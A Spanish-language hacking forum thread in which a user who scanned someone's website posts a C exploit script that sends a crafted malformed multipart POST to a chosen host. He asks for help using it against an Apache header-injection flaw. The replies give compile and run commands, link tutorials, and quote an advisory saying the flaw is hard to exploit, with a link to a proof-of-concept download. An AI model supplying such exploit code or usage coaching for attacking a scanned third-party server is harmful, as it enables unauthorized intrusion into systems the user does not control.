Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 21, 2008, 08:08:10
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderador: OzX)  |  Tema: Ayuda con este xploits 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayuda con este xploits  (Leído 164 veces)
jomarudel
Recien Llegado
*
Desconectado Desconectado

Mensajes: 3


Ver Perfil Email
« en: ſeptiembre 22, 2007, 02:04:19 »

Hola !! escaneando una pagina con acunetix me salio una vunerabilidad

Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1  pero he estado buscando xploits y no encuentro el xploits adecuado para este. compile un xploit pero no se como va si alguien me puede hechar una mano o pasarme el link de algun manual en español porque tos los que e leido estan en ingles y ni me entero. Weno a lo que iba el xploit que busque fue este pero no se si tiene algo k ver



*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX   1000
#define PORT   80

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

int main(int argc,char *argv[MAX])
{
   int sockfd;
   int numbytes;
   int port;
   char *ptr;

   char POST_REQUEST[MAX] =
      "POST ##file HTTP/1.0\n"
      "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"
      "Connection: Keep-Alive\nContent-type: multipart/for"
      "m-data; boundary=---------------------------1354088"
      "10612827886801697150081\nContent-Length: 567\n\n---"
      "--------------------------1354088106128278868016971"
      "50081\nContent-Disposition: form-data; name=\"\x8\"";

   struct hostent *he;
   struct sockaddr_in their_addr;

   if(argc!=4)
   {
      fprintf(stderr,"usage:%s <hostname> <port> <php_file>\n",argv[0]);
      exit(1);
   }

   port=atoi(argv[2]);
   ptr=str_replace(argv[3],"##file",POST_REQUEST);
   //ptr=POST_REQUEST;

   if((he=gethostbyname(argv[1]))==NULL)
   {
      perror("gethostbyname");
      exit(1);
   }


   if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
      perror("socket"); exit(1);
   }

   their_addr.sin_family=AF_INET;
   their_addr.sin_port=htons(port);
   their_addr.sin_addr=*((struct in_addr*)he->h_addr);
   bzero(&(their_addr.sin_zero),8);

   if( connect(sockfd,(struct sockaddr*)&their_addr,\
       sizeof(struct sockaddr))==-1)
   {
      perror("connect");
      exit(1);
   }

   
   if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)
   {
      perror("send");
      exit(0);
   }

   close(sockfd);

return 0;
}

/*
En línea
vicmoon
Miembro
*****
Desconectado Desconectado

Mensajes: 23


Ver Perfil
« Respuesta #1 en: Agosto 13, 2008, 01:03:14 »

el exploit esta escrito en ansi C.
necesitaras cygwin para compilarlo
    ,con la orden :: gcc nombrexploit.c -o xploit.exe

ejecucion:: xploit.exe ip port file.php

saludos;-)
En línea
CiberTron
Habitual
*****
Desconectado Desconectado

Mensajes: 193


la vida es corta hay que aprender de sus arrores


Ver Perfil
« Respuesta #2 en: Agosto 13, 2008, 03:06:59 »

Mira aca postie unos manuales como compilar C

http://foro.el-hacker.com/index.php/topic,139231.0.html

ojoala q te sriva de algo


saludos
En línea

by Alekiu
OzX
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2061


foro.new-bytes.net


Ver Perfil WWW
« Respuesta #3 en: Agosto 17, 2008, 02:37:00 »

HAce una Inyecion en las Cabezeras .. En el Envio Post Multipart, por lo que entiendo de C.

Citar
char POST_REQUEST[MAX] =
      "POST ##file HTTP/1.0\n"
      "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"
      "Connection: Keep-Alive\nContent-type: multipart/for"
      "m-data; boundary=---------------------------1354088"
      "10612827886801697150081\nContent-Length: 567\n\n---"
      "--------------------------1354088106128278868016971"
      "50081\nContent-Disposition: form-data; name=\"\x8\"";

Pero No puede Ser Expltado Tan Facilmente.
http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00053.html

Un POC De la Vulnz
http://www.nstalker.com/defense/ApacheExpectPOC.zip

Citar
During a brief discussion with the gentle guys at security apache org, we had concluded that vulnerability cannot be trivially exploited and its exploitation focus would be client-side software. It was common sense that this flaw should be corrected in lastest Apache versions (1.3.35/2.0.58/2.2.2) -- which was done, however, it should not be categorized as a security vulnerability.

The software flaw, not being exploitable on common web browser scenario, can be used by malicious software distributors by appending malformed expect headers in outgoing HTTP requests (via common toolbars and web components). The idea would be to render arbitrary HTML code in an obscure way -- without leaving traces, after all, victims would still see connection going to a legitimate web server's IP address.

Saludos¡

En línea

Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderador: OzX)  |  Tema: Ayuda con este xploits « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC